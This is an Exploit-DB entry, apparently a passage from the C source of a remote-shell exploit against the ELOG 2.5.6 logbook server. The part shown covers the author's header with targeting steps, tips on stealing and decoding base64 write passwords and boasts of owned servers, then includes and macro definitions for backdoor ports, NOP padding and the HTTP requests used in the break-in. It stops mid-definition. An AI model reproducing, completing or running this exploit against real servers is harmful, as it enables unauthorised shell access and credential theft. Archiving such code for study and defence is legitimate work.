Exploit-DB #805
Description: ELOG 2.5.6 - Remote Shell
Type: remote
Platform: multiple
Date: 2005-02-09
Author: n4rk0tix

Exploit:
/* Worked on latest version for me 
 * http://midas.psi.ch/elog/download/tar/elog-latest.tar.gz
 * elog-latest.tar.gz      26-Jan-2005 21:36  519K
 * Default port 8080.
 * str0ke */

/*                                                                      
    
Hi there, someone has brought to u a gift.
 
     ELOG Remote Shell Exploit <= 2.5.6 (Also for future Versions)
 
      Updated On 18/April/2004

      LOCK YOUR LOGBOOKZ, THERE IS A SPY IN THE WILD! 

 Bug: Sorry, we do not support fool-disclosure.

 Characteristicz : Fully Automated Filling Mechanism ,steal/decode base_64 ELOG _write_ passwordz.
                   (breakin into write password protected servers,)
 
 Targeting : objdump -t elogd | grep _mtext   <----- your magic jumping addres.
             change that value with one of the targets below .If The ret lookz like 0x09..  
             then that means elogd version is 2.5.5 or greater.If 0x8.. then < 2.5.5
             NOte: The buffer-length in linux, varies from one distro to other, like the BSD one.
              so do not add shit to the target area unless as well as u know what u r doing.

 Tricks   i : Some hosts using Elog daemon under Apache mod_proxy module,
              so u'd better  force a bit yourself port scan that host in order to get the elog port.
              (Be warned , most of the serverz we owned had at least 2 running elog http servers.)              

         ii : If U can _not_ get the write pazzword for logbook, then try other logbooks.
		        (especially, happens when the background mode enabled).


        iii : If u happen to meet logbook which has more than 10 attribute/optionz
              then add more globalz to the global sectionz of this code,now it supportz 
              10 att/opt, i haven't seen more than this Yet!.

Challange: Find the other 2 heap and a 1 url traversal bugs in elogd.(Both exploitable)
 
Finally A big FUCK to the Sn2 for leaking this code to the public.

 Unknown u.g Bl4ckh4t group member[3]



                        nrktx                                    DIGITALLY SIGNATURED

_EOC_

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <ctype.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <errno.h>
#include <err.h>

#define _GNU_SOURCE
#define CONTSIZE            10000
#define BOUNSIZE            100
#define REQUESTSIZE         2000
#define INBUF               5000
#define LINEBUFSIZ          1000
#define GETBUFSIZE          10000
#define SENDBUFSIZE         10000
#define TIMEOUT             30
#define ENURLSIZE           200
#define GLOBATTSIZE         200
#define STORESIZE           10000
#define ELOGPORT            8080
#define SHBUFSIZE           288
#define BIGBUFSIZE          5000
#define BACKDOOR            31337
#define BSDBACKDOOR         11520
#define WINBACKDOOR         5555
#define NOP                 0x90
#define RED                 "\033[31m"
#define GREEN               "\033[32m"
#define DEFAULT             "\033[0m"
#define CHECKELOG           "HEAD HTTP/1.1"
#define HTTPVER             " HTTP/1.1\r\n"
#define POSTREQ             "POST /"
#define GETREQ              "GET /"
#define GETREQCMD           "?cmd=download"           
#define TESTUSER            "candy-n4rk0tix"
#define TESTPASS_DECODED    "candy-blackhat"
#define ADDICTEDZ           "candy:narkotix"
#define EXPERIMENT          "iloveucandy"
#define LOGBOOKAUTHOR       "CodeName : Candy-bl4ckh47"
#define LOGSUBJECT          "Mission Impossible"
#define ATT_FILE            "do-NOT-trust-me-biatch"
#define MSGCONTENT          "Building Required HTML CONTENT"
#define MSGQUERY            "Building Required HTML QUERY"
#define MSGVER              "Asking For Version..."
#define MSGBOUNDARY         "Building Random BOUNDARY.."
#define MSGSECTOR           "Checking IF Sector Is CLEAR.."
#define READOPTION          "Getting Required Attr Options BE PATIENT !"
#define PASSALERT           "LogBook Is Write Password Protected"
#define GETINGPASS          "Wait Bro We R Gonna Catch The Password"
#define PASSSUCCESS         "WE GOT The Write Password Bro !!"
#define CLEARAREA           "[SECTOR CLEAR.. FORCING OUR LUCK TO GET IN]"
#define NODATA              "EOF"
#define PASSFAILED          "Could not get password, Prolly Elogd started with -D arg !"
#define DEMOLOGBOOK         "demo"
#define UPLOADME            1
#define NOTUPLOADME         0
#define VERSION_CHECKER     "Server: ELOG HTTP "
#define AUTHORIZED_DENY     "401 Authorization Required"
#define SECTOR_CLEAR        "302 Found"
#define INVALIDURL          "Invalid URL"
#define ATTERR              "Error: Attribute "
#define ATTOPTERR           "Error: Attribute option "
#define ATTERRTAG           "<b>"
#define ATTERRTAGLAST       "</b>"
#define ATTNOTFOUND(x)      {fprintf(stderr,"[!] Attribute %s Notfound\n",x);}
#define MAKINGATT(x)        {fprintf(stderr,""GREEN"[+]"DEFAULT" Attribute %s ADDING..\
                             \t"GREEN"DONE"DEFAULT"\n",x);}
#define NOTELOG             "Remote Server Is NOT Elog !"
#define REMDOWN             "Connection reset by Peer"
#define REMCRASHED          "Server DEAD"
#define BIGOPTIONLIST       "Too Many Attributes Dude,MODIFY THE CODE !"
#define ASKEDPASS           "Please enter password to obtain write access"
#define ALLOCGLOB(x)        {x = (char *)malloc(GLOBATTSIZE *sizeof(char));}
#define ZEROGLOB(x)         { memset(x,'\0',GLOBATTSIZE);}
#define PRINTINFO(x,y)      {if(y <= 1) printf(""GREEN"[+]"DEFAULT" %s\n",x);}                         
#define NPRINTINFO(x)       {printf("[-] %s\n",x);}
#define LOGBOOKNOTFOUND(x,y)  {bzero(x,sizeof(x));\